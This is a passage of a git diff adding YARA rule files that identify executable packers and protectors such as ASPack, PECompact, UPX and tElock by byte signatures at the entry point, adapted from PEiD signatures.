+		$0 = {B8 6A 68 64 FF 35 64 89 25 66 9C 60}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10803_
+{
+	meta:
+		description = "ASPack v1.08.03"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 0A 4A 44 ?? BB 04 4A 44 ?? 03}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 81 ED 0A 4A 44 ?? BB 04 4A 44 ?? 03 DD 2B 9D B1 50 44 ?? 83 BD AC 50 44 ?? ?? 89 9D BB}
+		$2 = {60 E8 41 06 ?? ?? EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PECompact_v090__v092_
+{
+	meta:
+		description = "PECompact v0.90 - v0.92"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 5D 55 58 81 ED 2B 85 01 85 50 B9}
+	condition:
+		$0 at entrypoint
+}
+rule _NeoLite_vxx_
+{
+	meta:
+		description = "NeoLite vx.x"
+	strings:
+		$0 = {E9 9B ?? ?? ??}
+	condition:
+		$0 at entrypoint
+}
+rule _Special_EXE_Password_Protector_v10_
+{
+	meta:
+		description = "Special EXE Password Protector v1.0"
+	strings:
+		$0 = {55 57 51 53 E8 5D 8B C5 81 ED 2B 85 83 E8 09 89 85 0F}
+	condition:
+		$0 at entrypoint
+}
+rule _NoodleCrypt_v20_
+{
+	meta:
+		description = "NoodleCrypt v2.0"
+	strings:
+		$0 = {55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 ?? FF 15 60 70 40 ?? BF C0 B2 40 ?? 68 04 01 ?? ?? 57 50 A3 AC B2 40 ?? FF 15 4C 70 40 ?? 56 56 6A 03 56 6A 01 68 ?? ?? ??}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v0978_
+{
+	meta:
+		description = "PECompact v0.978"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 49 87 40 87 DD 8B 85 CE}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v21_
+{
+	meta:
+		description = "PEtite v2.1"
+	strings:
+		$0 = {B8 68 64 FF 35 64 89 25 66 9C 60}
+	condition:
+		$0 at entrypoint
+}
+rule _PEncrypt_v30_
+{
+	meta:
+		description = "PEncrypt v3.0"
+	strings:
+		$0 = {E9 ?? F0 0F}
+	condition:
+		$0 at entrypoint
+}
+rule _XCR_v012_
+{
+	meta:
+		description = "XCR v0.12"
+	strings:
+		$0 = {93 71 08 8B D8 78 E2 9C 33 C3 60 79 CE E8 01 83 C4 04 E8 AB FF FF FF 2B E8 03 C5 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _UG2002_Cruncher_v03b3_
+{
+	meta:
+		description = "UG2002 Cruncher v0.3b3"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 58 83 E8 3D 50 8D B8 FF 57 8D B0 D8 01 83 CD FF 31 DB 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 0B 8A 06 46 88 07 47 EB EB}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v051_
+{
+	meta:
+		description = "tElock v0.51"
+	strings:
+		$0 = {C1 EE ?? 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 ?? ?? ?? ?? 5E 83 C6 8B FE 68 79 01 59 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_v33_
+{
+	meta:
+		description = "Shrinker v3.3"
+	strings:
+		$0 = {83 3D B4 55 8B EC 56 57 75 6B 68 ?? 01 ?? ?? E8 0B ?? ?? 83 C4 04 8B 75 08 A3 B4 85 F6 74 23 83 7D 0C 03 77 1D 68}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_
+{
+	meta:
+		description = "Crunch/PE"
+	strings:
+		$0 = {55 E8 5D 83 ED 06 8B C5 55 60 89 AD 2B 85 89 85 80 BD 75 09 C6}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v129_
+{
+	meta:
+		description = "Inno Setup Module v1.2.9"
+	strings:
+		$0 = {55 8B EC 81 EC 14 ?? ?? 53 56 57 6A ?? FF 15 68 FF 15 85 C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v071b7_
+{
+	meta:
+		description = "tElock v0.71b7"
+	strings:
+		$0 = {60 E8 F9 11 ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_v27b_
+{
+	meta:
+		description = "Exe Shield v2.7b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 0B 20 40 ?? B9 EB 08 ?? ?? 8D BD 53 20 40 ?? 8B F7 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _SOFTWrapper_for_Win9xNT_Evaluation_Version_
+{
+	meta:
+		description = "SOFTWrapper for Win9x/NT (Evaluation Version)"
+	strings:
+		$0 = {6A ?? E8 ?? ?? A3}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_vxxxx_
+{
+	meta:
+		description = "Obsidium vx.x.x.x"
+	strings:
+		$0 = {E9 5D 01 ?? ?? CE D1 CE CE 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45}
+	condition:
+		$0 at entrypoint
+}
+rule _LameCrypt_v10_
+{
+	meta:
+		description = "LameCrypt v1.0"
+	strings:
+		$0 = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED F6 73 40 ?? 2B 85 87 75 40 ?? 83 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_v34_
+{
+	meta:
+		description = "Shrinker v3.4"
+	strings:
+		$0 = {58 60 8B E8 55 33 F6 68 48 01 E8 49 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v10059_Final_
+{
+	meta:
+		description = "Obsidium v1.0.0.59 Final"
+	strings:
+		$0 = {E8 AF}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypKey_v5__v6_
+{
+	meta:
+		description = "CrypKey v5 - v6"
+	strings:
+		$0 = {E8 B8 E8 90 02 83 F8 75 07 6A E8 FF 15 49 8F 40 A9 80 74}
+	condition:
+		$0 at entrypoint
+}
+rule _DAEMON_Protect_v067_
+{
+	meta:
+		description = "DAEMON Protect v0.6.7"
+	strings:
+		$0 = {BE 01 40 ?? 6A 05 59 80 7E 07 ?? 74 11 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v27_
+{
+	meta:
+		description = "EXE Stealth v2.7"
+	strings:
+		$0 = {EB ?? 60 EB ?? E8 ?? ?? ?? ?? 5D 81 ED B0 27}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_v02__v20x_
+{
+	meta:
+		description = "PEBundle v0.2 - v2.0x"
+	strings:
+		$0 = {9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 40 87 DD 01 AD 01}
+	condition:
+		$0 at entrypoint
+}
+rule _The_Guard_Library_
+{
+	meta:
+		description = "The Guard Library"
+	strings:
+		$0 = {B8 EF BE AD DE 50 6A FF 15 10 19 40 E9 AD FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeSafe_v20_
+{
+	meta:
+		description = "CodeSafe v2.0"
+	strings:
+		$0 = {CC 90 90 EB 0B 01 50 51 52 53 54 61 33 61 2D 35 CA D1 07 52 D1 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Intro_v10_
+{
+	meta:
+		description = "PE Intro v1.0"
+	strings:
+		$0 = {EB 03 CD 20 EB EB 01 EB 1E EB 01 EB EB 02 CD 20 9C EB 03}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v20b2_v20b3_
+{
+	meta:
+		description = "Nullsoft Install System v2.0b2, v2.0b3"
+	strings:
+		$0 = {55 8B EC 81 EC ?? ?? 56 57 6A BE 59 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_NT_v203_
+{
+	meta:
+		description = "PE Lock NT v2.03"
+	strings:
+		$0 = {EB CD CD EB EB EB EB CD E8 E9 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v40_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v4.0"
+	strings:
+		$0 = {83 EC 44 56 FF 15 70 61 44 ?? 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v211_
+{
+	meta:
+		description = "ASPack v2.11"
+	strings:
+		$0 = {60 E8 02 ?? ?? ?? EB 09 5D 55 81 ED 39 39 44 ?? C3 E9 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _PCGuard_v303d_v305d_
+{
+	meta:
+		description = "PC-Guard v3.03d, v3.05d"
+	strings:
+		$0 = {FC 55 50 E8 ?? ?? ?? ?? 5D EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Hasp_dongle_Alladin_
+{
+	meta:
+		description = "Hasp dongle (Alladin)"
+	strings:
+		$0 = {10 02 D0 51 0F ??}
+	condition:
+		$0 at entrypoint
+}
+rule _BJFnt_v11b_
+{
+	meta:
+		description = ".BJFnt v1.1b"
+	strings:
+		$0 = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v11_BRS_
+{
+	meta:
+		description = "ASProtect v1.1 BRS"
+	strings:
+		$0 = {68 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Protection_Plus_vxx_
+{
+	meta:
+		description = "Protection Plus vx.x"
+	strings:
+		$0 = {40 20 FF ?? ?? ?? ?? ?? ?? ?? BE ?? 60 40 ?? 8D BE ?? B0 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PEX_v099_
+{
+	meta:
+		description = "PEX v0.99"
+	strings:
+		$0 = {60 E8 01 83 C4 04 E8 01 5D}
+		$1 = {55 8B EC A1 85 C0 74 09 B8 01 ?? ?? ?? 5D C2 0C ?? 8B 45 0C 57 56 53 8B 5D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v146_
+{
+	meta:
+		description = "PECompact v1.46"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 87 DD 8B 85 A6 A0 40 01 85 03 A0 40 66 C7 85 A0 40 90 90 01 85 9E A0 40}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v21x_
+{
+	meta:
+		description = "ASProtect v2.1x"
+	strings:
+		$0 = {BB E9 60 9C FC BF B9 F3 AA 9D 61 C3 55 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_v10xx_
+{
+	meta:
+		description = "Crunch/PE v1.0.x.x"
+	strings:
+		$0 = {55 E8 5D 83 ED 06 8B C5 55 60 89 AD 2B 85 89 85 55 BB 03 DD 53 64 67 FF 36 64 67 89}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v070_
+{
+	meta:
+		description = "UPX v0.70"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 83 CD FF 31 DB 5E 8D BE FA FF 57 66 81 87 81 C6 B3 01 EB 0A 8A 06 46 88 07 47 01 DB 75}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_vxx_
+{
+	meta:
+		description = "PEtite vx.x"
+	strings:
+		$0 = {E9 F5 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _Ding_Boys_PElock_Phantasm_v15b3_
+{
+	meta:
+		description = "Ding Boy's PE-lock Phantasm v1.5b3"
+	strings:
+		$0 = {9C 55 57 56 52 51 53 9C FA E8 5D 81 ED 5B 53 40 B0 E8 5E 83 C6 11 B9 27 30 06 46 49 75}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_vxx_
+{
+	meta:
+		description = "Exe Shield vx.x"
+	strings:
+		$0 = {EB 06 68 90 1F 06 ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftWrap_
+{
+	meta:
+		description = "SoftWrap"
+	strings:
+		$0 = {9C 60 8B 44 24 24 E8 5D 81 ED 50 E8 ED 02 8C C0 0F}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b6_
+{
+	meta:
+		description = "PECompact v1.10b6"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 87 DD 8B 85 9A 60 40 01 85 03 60 40 66 C7 85 60 40 90 90 01 85 92 60 40}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v107b_DLL_
+{
+	meta:
+		description = "ASPack v1.07b (DLL)"
+	strings:
+		$0 = {90 90 90 75}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v1242__v1243_
+{
+	meta:
+		description = "PECompact v1.24.2 - v1.24.3"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 87 DD 8B 85 A6 70 40 01 85 03 70 40 66 C7 85 70 40 90 90 01 85 9E 70 40 BB}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v060_
+{
+	meta:
+		description = "tElock v0.60"
+	strings:
+		$0 = {60 E8 BD 10 ?? ?? C3 83 E2 ?? F9 75 FA}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v105b_
+{
+	meta:
+		description = "ASPack v1.05b"
+	strings:
+		$0 = {90 75 ??}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_v151x_
+{
+	meta:
+		description = "EXECryptor v1.5.1.x"
+	strings:
+		$0 = {E8 24 8B 4C 24 0C C7 01 17 01 C7 81 B8 31 C0 89}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_v20xx_
+{
+	meta:
+		description = "Crunch/PE v2.0.x.x"
+	strings:
+		$0 = {EB 10 55 E8 5D 81 ED 18 8B C5 55 60 9C 2B 85 89 85 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v090_
+{
+	meta:
+		description = "tElock v0.90"
+	strings:
+		$0 = {E9 7E E9 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v103__v104_Modified_
+{
+	meta:
+		description = "UPX v1.03 - v1.04 Modified"
+	strings:
+		$0 = {01 DB 07 8B 1E 83 EE FC 11 DB ED B8 01 ?? ?? ?? 01 DB 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_PIMP_Install_System_v13x_
+{
+	meta:
+		description = "Nullsoft PIMP Install System v1.3x"
+	strings:
+		$0 = {83 EC 5C 53 55 56 57 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v147__v150_
+{
+	meta:
+		description = "PECompact v1.47 - v1.50"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 87 DD 8B 85 A2 80 40 01 85 03 80 40 66 C7 85 80 40 90 90 01 85 9E 80 40}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_v20b5__v23_
+{
+	meta:
+		description = "PEBundle v2.0b5 - v2.3"
+	strings:
+		$0 = {9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 40 87 DD 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Gleam_v100_
+{
+	meta:
+		description = "Gleam v1.00"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 60 E8 51 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrink_Wrap_v14_
+{
+	meta:
+		description = "Shrink Wrap v1.4"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 CC 3A 40 E8 E0 FC FF FF 33 C0 55 68 EA 3C 40 64 FF 30 64 89 20 6A 68 80 6A 03 6A 6A 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt_v100v101_
+{
+	meta:
+		description = "PE Crypt v1.00/v1.01"
+	strings:
+		$0 = {E8 5B 83 EB 05 EB 04 52 4E}
+	condition:
+		$0 at entrypoint
+}
+rule _eXpressor_v13x_
+{
+	meta:
+		description = "eXpressor v1.3x"
+	strings:
+		$0 = {55 8B EC 83 EC 58 53 56 57 83 65 DC ?? F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_PE_Encryptor_Alpha_preview_
+{
+	meta:
+		description = "PC PE Encryptor Alpha preview"
+	strings:
+		$0 = {66 ?? 66}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_CAB_SFX_module_
+{
+	meta:
+		description = "Microsoft CAB SFX module"
+	strings:
+		$0 = {55 8B EC 83 EC 44 56 FF 15 94 13 42 ?? 8B F0 B1 22 8A 06 3A C1 75 13 8A 46 01 46 3A C1 74 04 84 C0 75 F4 38 0E 75 0D 46 EB 0A 3C 20 7E}
+	condition:
+		$0 at entrypoint
+}
+rule _Install_Stub_32bit_
+{
+	meta:
+		description = "Install Stub 32-bit"
+	strings:
+		$0 = {60 E8 5D 8B D5 81 ED 2B 95 81 EA 06 89 95 83 BD}
+	condition:
+		$0 at entrypoint
+}
+rule _SPEC_b3_
+{
+	meta:
+		description = "SPEC b3"
+	strings:
+		$0 = {BA ?? FF E2 BA ?? B8 89 02 83 C2 03 B8 89 02 83 C2 FD FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Ding_Boys_PElock_Phantasm_v10__v11_
+{
+	meta:
+		description = "Ding Boy's PE-lock Phantasm v1.0 / v1.1"
+	strings:
+		$0 = {9C 55 57 56 52 51 53 9C FA E8 ?? ?? ?? ?? 5D 81 ED 5B 53 40 ??}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v070_
+{
+	meta:
+		description = "tElock v0.70"
+	strings:
+		$0 = {60 E8 ED 10 ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v041x_
+{
+	meta:
+		description = "tElock v0.41x"
+	strings:
+		$0 = {C1 EE ?? 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 ?? ?? ?? ?? 5E 83 C6 52 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_NT_v202c_
+{
+	meta:
+		description = "PE Lock NT v2.02c"
+	strings:
+		$0 = {EB 02 C7 85 1E EB 03 CD 20 C7 9C EB 02 69 B1 60 EB 02 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Shrinker_v071_
+{
+	meta:
+		description = "PC Shrinker v0.71"
+	strings:
+		$0 = {55 50 E8 5D EB 01 E3 60 E8 03 D2 EB 0B 58 EB 01 48 40 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Ding_Boys_PElock_v007_
+{
+	meta:
+		description = "Ding Boy's PE-lock v0.07"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 0D 39}
+	condition:
+		$0 at entrypoint
+}
+rule _WinRAR_32bit_SFX_Module_
+{
+	meta:
+		description = "WinRAR 32-bit SFX Module"
+	strings:
+		$0 = {55 8B EC 81 EC 04 ?? ?? 53 56 57 6A FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Password_v02_SMTSMF_
+{
+	meta:
+		description = "PE Password v0.2 SMT/SMF"
+	strings:
+		$0 = {52 51 55 57 64 67 A1 30 ?? 85 C0 78 0D E8 58 83 C0 07 C6}
+	condition:
+		$0 at entrypoint
+}
+rule _Krypton_v04_
+{
+	meta:
+		description = "Krypton v0.4"
+	strings:
+		$0 = {54 E8 5D 8B C5 81 ED 71 44 2B 85 64 60 EB 43}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v122_
+{
+	meta:
+		description = "PECompact v1.22"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 87 DD 8B 85 A6 70 40 01 85 03 70 40 66 C7 85 70 40 90 90 01 85 9E 70 40 BB}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b3_
+{
+	meta:
+		description = "PECompact v1.10b3"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 87 DD 8B 85 95 60 40 01 85 03 60 40 66 C7 85 60 40 90 90 BB}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE32_v11_
+{
+	meta:
+		description = "PKLITE32 v1.1"
+	strings:
+		$0 = {68 68 68 ?? ?? ?? ??}
+		$1 = {50 4B 4C 49 54 45 33 32 20 43 6F 70 79 72 69 67 68 74 20}
+		$2 = {53 E8 ?? ?? ?? ?? 5B 8B C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ASProtect_v12x_
+{
+	meta:
+		description = "ASProtect v1.2x"
+	strings:
+		$0 = {68 01 ?? E8 01 ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10804_
+{
+	meta:
+		description = "ASPack v1.08.04"
+	strings:
+		$0 = {A8 03 61 75 08 B8 01 C2 0C 68 C3 8B 85 26 04 8D 8D 3B 04 51 50 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_vxx_
+{
+	meta:
+		description = "Thinstall vx.x"
+	strings:
+		$0 = {60 E8 5D 81 ED E8 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _PEncrypt_v31_
+{
+	meta:
+		description = "PEncrypt v3.1"
+	strings:
+		$0 = {B8 93 ?? 55 50 67 64 FF 36 ?? ?? 67 64 89 26 ?? ?? BD 4B 48 43 42 B8 04 ?? ?? ?? CC 3C 04 75 04 90 90 C3 90 67 64 8F 06 ?? ?? 58 5D BB ?? ?? 40 ?? 33 C9 33}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v080_
+{
+	meta:
+		description = "tElock v0.80"
+	strings:
+		$0 = {60 E8 ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeLock_vxx_
+{
+	meta:
+		description = "Code-Lock vx.x"
+	strings:
+		$0 = {83 EC 10 53 56 57 E8 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _Virogen_Crypt_v075_
+{
+	meta:
+		description = "Virogen Crypt v0.75"
+	strings:
+		$0 = {33 C0 8B B8 ?? 8B 90 04 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0}
+	condition:
+		$0 at entrypoint
+}
+rule _Spalsher_v10__v30_
+{
+	meta:
+		description = "Spalsher v1.0 - v3.0"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 06 ?? ?? ?? 89 AD 8C 01 ?? ?? 8B C5 2B 85 FE 75 ?? ?? 89 85 3E}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v125_
+{
+	meta:
+		description = "PECompact v1.25"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 87 DD 8B 85 A6 70 40 01 85 03 70 40 66 C7 85 70 40 90 90 01 85 9E 70 40 BB}
+	condition:
+		$0 at entrypoint
+}
+rule _NeoLite_v10_
+{
+	meta:
+		description = "NeoLite v1.0"
+	strings:
+		$0 = {8B 44 24 04 8D 54 24 FC 23 05 E8 FF 35 50 FF}
+		$1 = {E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_v062_
+{
+	meta:
+		description = "UPX v0.62"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 58 83 E8 3D 50 8D B8 FF 57 66 81 87 8D B0 EC 01 83 CD FF 31 DB EB 07 90 8A 06 46 88 07 47 01 DB 75}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v098_
+{
+	meta:
+		description = "tElock v0.98"
+	strings:
+		$0 = {E9 25 E4 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v10_
+{
+	meta:
+		description = "FSG v1.0"
+	strings:
+		$0 = {BB D0 01 40 BF 10 40 BE FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_v30xx_
+{
+	meta:
+		description = "Crunch/PE v3.0.x.x"
+	strings:
+		$0 = {EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v099_
+{
+	meta:
+		description = "PECompact v0.99"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB C4 84 40 87 DD 8B 85 49}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v212_
+{
+	meta:
+		description = "ASPack v2.12"
+	strings:
+		$0 = {60 E8 03 ?? ?? ?? E9 EB 04 5D 45 55 C3 E8}
+		$1 = {A8 03 ?? ?? 61 75 08 B8 01 ?? ?? ?? C2 0C ?? 68 ?? ?? ?? ?? C3 8B 85 26 04 ?? ?? 8D 8D 3B 04 ?? ?? 51 50 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PCGuard_v500d_
+{
+	meta:
+		description = "PC-Guard v5.00d"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D EB}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v11_MTEc_
+{
+	meta:
+		description = "ASProtect v1.1 MTEc"
+	strings:
+		$0 = {60 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _NFO_v10_
+{
+	meta:
+		description = "NFO v1.0"
+	strings:
+		$0 = {60 9C 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v042_
+{
+	meta:
+		description = "tElock v0.42"
+	strings:
+		$0 = {C1 EE ?? 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 ?? ?? ?? ?? 5E 83 C6 5E 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Protector_v10x_
+{
+	meta:
+		description = "UPX Protector v1.0x"
+	strings:
+		$0 = {B8 B9 33 D2 EB 01 0F 56 EB 01 0F E8 03 ?? ?? ?? EB 01 0F EB 01 0F 5E EB}
+	condition:
+		$0 at entrypoint
+}
diff --git a/yara-mikesxrs/unknown/packers.yara b/yara-mikesxrs/unknown/packers.yara
new file mode 100644
index 0000000..65a9ed8
--- /dev/null
+++ b/yara-mikesxrs/unknown/packers.yara
@@ -0,0 +1,119 @@
+// 
+// This rules are based on PEiD signatures (http://www.peid.info/BobSoft/Downloads/UserDB.zip)
+// 
+
+rule ASPack
+{
+        strings: 
+        $ = { 60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? (43 | 44) ?? B8 ?? ?? (43 | 44) ?? 03 C5 }
+        $ = { 60 EB ?? 5D EB ?? FF ?? ?? ?? ?? ?? E9 }
+        $ = { 60 EB 03 5D FF E5 E8 F8 FF FF FF 81 ED 1B 6A 44 00 BB 10 6A 44 00 03 DD 2B 9D 2A }
+        $ = { 60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD }
+        $ = { 60 E8 41 06 00 00 EB 41 }
+        $ = { 60 E8 7? 05 00 00 EB (33 | 4C) }
+        $ = { 60 E8 02 00 00 00 EB 09 5D 55 }
+        $ = { 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 }
+        $ = { A8 03 ?? ?? 61 75 08 B8 01 ?? ?? ?? C2 0C ?? 68 ?? ?? ?? ?? C3 8B 85 26 04 ?? ?? 8D 8D 3B 04 ?? ?? 51 50 FF 95 }          
+
+        condition:
+        
+            for any of them : ($ at entrypoint)
+}
+
+
+rule Armadillo
+{
+    strings: 
+        $ = { 83 7C 24 08 01 75 05 E8 DE 4B 00 00 FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ED FE FF FF 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 } 
+        $ = { E8 ?? ?? 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 ?? ?? 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C }
+        $ = { E8 ?? ?? 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 ?? ?? 00 00 83 65 E4 00 8B 75 08 3B 35 ?? ?? ?? ?? 77 22 6A 04 E8 ?? ?? 00 00 }
+        $ = { 55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 }
+        $ = { 55 8B EC 6A FF 68 ?? ?? ?? ?? (68 | E0 | B0 | 40) ?? ?? ?? ?? (64 A1 | 68) }
